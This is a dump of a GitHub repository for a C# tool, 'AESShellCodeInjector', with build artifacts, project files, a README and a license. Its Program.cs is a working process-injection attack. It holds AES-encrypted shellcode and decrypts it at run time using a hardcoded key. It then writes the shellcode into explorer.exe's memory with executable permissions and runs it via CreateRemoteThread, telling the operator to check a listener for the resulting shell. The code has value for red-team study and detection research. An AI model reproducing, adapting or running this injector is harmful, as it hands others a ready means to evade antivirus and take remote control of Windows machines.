├── AESInject ├── AESInject │ ├── obj │ │ ├── x64 │ │ │ ├── Release │ │ │ │ ├── AESInject.csproj.CoreCompileInputs.cache │ │ │ │ ├── AESInject.exe │ │ │ │ ├── AESInject.pdb │ │ │ │ ├── DesignTimeResolveAssemblyReferencesInput.cache │ │ │ │ ├── .NETFramework,Version=v4.7.2.AssemblyAttributes.cs │ │ │ │ └── AESInject.csproj.FileListAbsolute.txt │ │ │ └── Debug │ │ │ │ ├── DesignTimeResolveAssemblyReferencesInput.cache │ │ │ │ └── .NETFramework,Version=v4.7.2.AssemblyAttributes.cs │ │ └── Debug │ │ │ ├── AESInject.csproj.AssemblyReference.cache │ │ │ ├── DesignTimeResolveAssemblyReferencesInput.cache │ │ │ └── .NETFramework,Version=v4.7.2.AssemblyAttributes.cs │ ├── bin │ │ └── x64 │ │ │ └── Release │ │ │ ├── AESInject.exe │ │ │ ├── AESInject.pdb │ │ │ └── AESInject.exe.config │ ├── App.config │ ├── Properties │ │ └── AssemblyInfo.cs │ ├── AESInject.csproj │ └── Program.cs ├── .vs │ └── AESInject │ │ └── v16 │ │ └── .suo └── AESInject.sln ├── README.md └── LICENSE /AESInject/AESInject/obj/x64/Release/AESInject.csproj.CoreCompileInputs.cache: -------------------------------------------------------------------------------- 1 | 0ad2913c3c24bfd3eb472a8770b9e4a19a0c875d 2 | -------------------------------------------------------------------------------- /AESInject/.vs/AESInject/v16/.suo: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/san3ncrypt3d/AESShellCodeInjector/HEAD/AESInject/.vs/AESInject/v16/.suo -------------------------------------------------------------------------------- /AESInject/AESInject/bin/x64/Release/AESInject.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/san3ncrypt3d/AESShellCodeInjector/HEAD/AESInject/AESInject/bin/x64/Release/AESInject.exe -------------------------------------------------------------------------------- /AESInject/AESInject/bin/x64/Release/AESInject.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/san3ncrypt3d/AESShellCodeInjector/HEAD/AESInject/AESInject/bin/x64/Release/AESInject.pdb -------------------------------------------------------------------------------- /AESInject/AESInject/obj/x64/Release/AESInject.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/san3ncrypt3d/AESShellCodeInjector/HEAD/AESInject/AESInject/obj/x64/Release/AESInject.exe -------------------------------------------------------------------------------- /AESInject/AESInject/obj/x64/Release/AESInject.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/san3ncrypt3d/AESShellCodeInjector/HEAD/AESInject/AESInject/obj/x64/Release/AESInject.pdb -------------------------------------------------------------------------------- /AESInject/AESInject/obj/Debug/AESInject.csproj.AssemblyReference.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/san3ncrypt3d/AESShellCodeInjector/HEAD/AESInject/AESInject/obj/Debug/AESInject.csproj.AssemblyReference.cache -------------------------------------------------------------------------------- /AESInject/AESInject/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/san3ncrypt3d/AESShellCodeInjector/HEAD/AESInject/AESInject/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache -------------------------------------------------------------------------------- /AESInject/AESInject/App.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /AESInject/AESInject/obj/x64/Debug/DesignTimeResolveAssemblyReferencesInput.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/san3ncrypt3d/AESShellCodeInjector/HEAD/AESInject/AESInject/obj/x64/Debug/DesignTimeResolveAssemblyReferencesInput.cache -------------------------------------------------------------------------------- /AESInject/AESInject/obj/x64/Release/DesignTimeResolveAssemblyReferencesInput.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/san3ncrypt3d/AESShellCodeInjector/HEAD/AESInject/AESInject/obj/x64/Release/DesignTimeResolveAssemblyReferencesInput.cache -------------------------------------------------------------------------------- /AESInject/AESInject/bin/x64/Release/AESInject.exe.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /AESInject/AESInject/obj/Debug/.NETFramework,Version=v4.7.2.AssemblyAttributes.cs: -------------------------------------------------------------------------------- 1 | // 2 | using System; 3 | using System.Reflection; 4 | [assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.7.2", FrameworkDisplayName = ".NET Framework 4.7.2")] 5 | -------------------------------------------------------------------------------- /AESInject/AESInject/obj/x64/Debug/.NETFramework,Version=v4.7.2.AssemblyAttributes.cs: -------------------------------------------------------------------------------- 1 | // 2 | using System; 3 | using System.Reflection; 4 | [assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.7.2", FrameworkDisplayName = ".NET Framework 4.7.2")] 5 | -------------------------------------------------------------------------------- /AESInject/AESInject/obj/x64/Release/.NETFramework,Version=v4.7.2.AssemblyAttributes.cs: -------------------------------------------------------------------------------- 1 | // 2 | using System; 3 | using System.Reflection; 4 | [assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.7.2", FrameworkDisplayName = ".NET Framework 4.7.2")] 5 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # AESShellCodeInjector 2 | This program will take encrypted shell code and decrypt it in run time and inject it into another process 3 | 4 | 5 | More details about this project: [blog](https://san3ncrypt3d.com/2022/03/24/AESInj/) 6 | 7 | I hereby disclaims any and all liability to any party for any direct, indirect, implied, punitive, special, incidental or other consequential damages arising directly or indirectly from any use of 8 | -------------------------------------------------------------------------------- /AESInject/AESInject/obj/x64/Release/AESInject.csproj.FileListAbsolute.txt: -------------------------------------------------------------------------------- 1 | C:\Users\san3n\source\repos\AESInject\AESInject\bin\x64\Release\AESInject.exe.config 2 | C:\Users\san3n\source\repos\AESInject\AESInject\bin\x64\Release\AESInject.exe 3 | C:\Users\san3n\source\repos\AESInject\AESInject\bin\x64\Release\AESInject.pdb 4 | C:\Users\san3n\source\repos\AESInject\AESInject\obj\x64\Release\AESInject.csproj.CoreCompileInputs.cache 5 | C:\Users\san3n\source\repos\AESInject\AESInject\obj\x64\Release\AESInject.exe 6 | C:\Users\san3n\source\repos\AESInject\AESInject\obj\x64\Release\AESInject.pdb 7 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | BSD 2-Clause License 2 | 3 | Copyright (c) 2022, sanjay babu 4 | All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are met: 8 | 9 | 1. Redistributions of source code must retain the above copyright notice, this 10 | list of conditions and the following disclaimer. 11 | 12 | 2. Redistributions in binary form must reproduce the above copyright notice, 13 | this list of conditions and the following disclaimer in the documentation 14 | and/or other materials provided with the distribution. 15 | 16 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 17 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 18 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 19 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 20 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 21 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 22 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 23 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 24 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 25 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 26 | -------------------------------------------------------------------------------- /AESInject/AESInject/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("AESInject")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("HP Inc.")] 12 | [assembly: AssemblyProduct("AESInject")] 13 | [assembly: AssemblyCopyright("Copyright © HP Inc. 2022")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("b016da9e-12a1-4f1d-91a1-d681ae54e92c")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /AESInject/AESInject.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.32126.315 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "AESInject", "AESInject\AESInject.csproj", "{B016DA9E-12A1-4F1D-91A1-D681AE54E92C}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Debug|x64 = Debug|x64 12 | Release|Any CPU = Release|Any CPU 13 | Release|x64 = Release|x64 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {B016DA9E-12A1-4F1D-91A1-D681AE54E92C}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 17 | {B016DA9E-12A1-4F1D-91A1-D681AE54E92C}.Debug|Any CPU.Build.0 = Debug|Any CPU 18 | {B016DA9E-12A1-4F1D-91A1-D681AE54E92C}.Debug|x64.ActiveCfg = Debug|x64 19 | {B016DA9E-12A1-4F1D-91A1-D681AE54E92C}.Debug|x64.Build.0 = Debug|x64 20 | {B016DA9E-12A1-4F1D-91A1-D681AE54E92C}.Release|Any CPU.ActiveCfg = Release|Any CPU 21 | {B016DA9E-12A1-4F1D-91A1-D681AE54E92C}.Release|Any CPU.Build.0 = Release|Any CPU 22 | {B016DA9E-12A1-4F1D-91A1-D681AE54E92C}.Release|x64.ActiveCfg = Release|x64 23 | {B016DA9E-12A1-4F1D-91A1-D681AE54E92C}.Release|x64.Build.0 = Release|x64 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {0BABD915-D806-4E98-97E9-DF64C6F1273D} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /AESInject/AESInject/AESInject.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {B016DA9E-12A1-4F1D-91A1-D681AE54E92C} 8 | Exe 9 | AESInject 10 | AESInject 11 | v4.7.2 12 | 512 13 | true 14 | true 15 | 16 | 17 | AnyCPU 18 | true 19 | full 20 | false 21 | bin\Debug\ 22 | DEBUG;TRACE 23 | prompt 24 | 4 25 | 26 | 27 | AnyCPU 28 | pdbonly 29 | true 30 | bin\Release\ 31 | TRACE 32 | prompt 33 | 4 34 | 35 | 36 | true 37 | bin\x64\Debug\ 38 | DEBUG;TRACE 39 | full 40 | x64 41 | 7.3 42 | prompt 43 | true 44 | 45 | 46 | bin\x64\Release\ 47 | TRACE 48 | true 49 | pdbonly 50 | x64 51 | 7.3 52 | prompt 53 | true 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | -------------------------------------------------------------------------------- /AESInject/AESInject/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.IO; 5 | using System.Text; 6 | using System.Threading.Tasks; 7 | using System.Diagnostics; 8 | using System.Security.Cryptography; 9 | using System.Runtime.InteropServices; 10 | 11 | namespace AESInject 12 | { 13 | class Program 14 | { 15 | [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] 16 | static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int 17 | processId); 18 | [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] 19 | static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport("kernel32.dll")] 20 | static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten); 21 | [DllImport("kernel32.dll")] 22 | static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); 23 | 24 | [DllImport("kernel32.dll")] 25 | static extern IntPtr GetCurrentProcess(); 26 | 27 | static void Main(string[] args) 28 | { 29 | byte[] Key = Convert.FromBase64String("AAECAwQFBgcICQoLDA0ODw=="); 30 | byte[] IV = Convert.FromBase64String("AAECAwQFBgcICQoLDA0ODw=="); 31 | 32 | 33 | byte[] buf = new byte[] { 0x2b, 0xc3, 0xb0, 0x19, 0xe4, 0x28, 0x82, 0xa8, 0x44, 0xbd, 0xa9, 0x27, 0x03, 0xd2, 0x35, 0x50, 0xf6, 0xc1, 0xa2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8, 0x66, 0xa2, 0xb3, 0xd9, 0x87, 0x91, 0xf9, 0x2d, 0x63, 0x8f, 0x30, 0x09, 0x44, 0x82, 0xa7, 0x70, 0x77, 0xf3, 0xfb, 0x8b, 0xc9, 0x00, 0x16, 0xd2, 0xa1, 0x31, 0x0d, 0xf5, 0x4e, 0x14, 0x15, 0x83, 0x46, 0x10, 0x4d, 0x85, 0x37, 0x5c, 0xb4, 0x6d, 0x0b, 0xbb, 0x44, 0x28, 0x67, 0x11, 0xed, 0x05, 0x13, 0xfb, 0xee, 0x6a, 0x16, 0x0b, 0x0a, 0x5c, 0x7f, 0xf0, 0x49, 0x41, 0x3a, 0x68, 0x30, 0xad, 0x07, 0xb1, 0xdd, 0x89, 0x72, 0x8a, 0x2b, 0x55, 0xb4, 0x99, 0xd9, 0xa3, 0xd4, 0xdc, 0x23, 0xab, 0x84, 0x84, 0xbf, 0x7d, 0x65, 0x2a, 0x45, 0x6a, 0xd3, 0xcb, 0x13, 0x3d, 0x8a, 0xd4, 0x4e, 0x3f, 0x8f, 0xce, 0xd3, 0x5b, 0xd3, 0x2d, 0x2b, 0x52, 0x2e, 0x4f, 0x00, 0x73, 0xae, 0x93, 0xa8, 0x83, 0xfd, 0x3d, 0x9c, 0x2e, 0x2c, 0xe9, 0x49, 0xdd, 0x40, 0xfe, 0x2e, 0xa6, 0x75, 0x37, 0xc4, 0x87, 0x75, 0xee, 0x5b, 0x0d, 0xa0, 0xeb, 0x93, 0x08, 0x2d, 0xd8, 0x41, 0x36, 0x0f, 0x9d, 0xcf, 0x1f, 0x4f, 0xc2, 0xeb, 0xf4, 0xe7, 0x9b }; 34 | 35 | byte[] DShell = AESDecrypt(buf, Key, IV); 36 | StringBuilder hexCodes = new StringBuilder(DShell.Length * 2); 37 | foreach (byte b in DShell) 38 | { 39 | hexCodes.AppendFormat("0x{0:x2},", b); 40 | } 41 | int size = DShell.Length; 42 | 43 | Process[] expProc = Process.GetProcessesByName("explorer"); 44 | int pid = expProc[0].Id; 45 | IntPtr hProcess = OpenProcess(0x001F0FFF, false, pid); 46 | IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40); 47 | IntPtr outSize; 48 | WriteProcessMemory(hProcess, addr, DShell, DShell.Length, out outSize); 49 | IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero); 50 | Console.WriteLine("Check your Listener --- san3ncrypt3d"); 51 | 52 | } 53 | 54 | private static byte[] AESDecrypt(byte[] CEncryptedShell, byte[] key, byte[] iv) 55 | { 56 | using (var aes = Aes.Create()) 57 | { 58 | aes.KeySize = 128; 59 | aes.BlockSize = 128; 60 | aes.Padding = PaddingMode.PKCS7; 61 | aes.Mode = CipherMode.CBC; 62 | aes.Key = key; 63 | aes.IV = iv; 64 | 65 | using (var decryptor = aes.CreateDecryptor(aes.Key, aes.IV)) 66 | { 67 | return GetDecrypt(CEncryptedShell, decryptor); 68 | } 69 | } 70 | } 71 | private static byte[] GetDecrypt(byte[] data, ICryptoTransform cryptoTransform) 72 | { 73 | using (var ms = new MemoryStream()) 74 | using (var cryptoStream = new CryptoStream(ms, cryptoTransform, CryptoStreamMode.Write)) 75 | { 76 | cryptoStream.Write(data, 0, data.Length); 77 | cryptoStream.FlushFinalBlock(); 78 | 79 | return ms.ToArray(); 80 | } 81 | } 82 | } 83 | 84 | } 85 | --------------------------------------------------------------------------------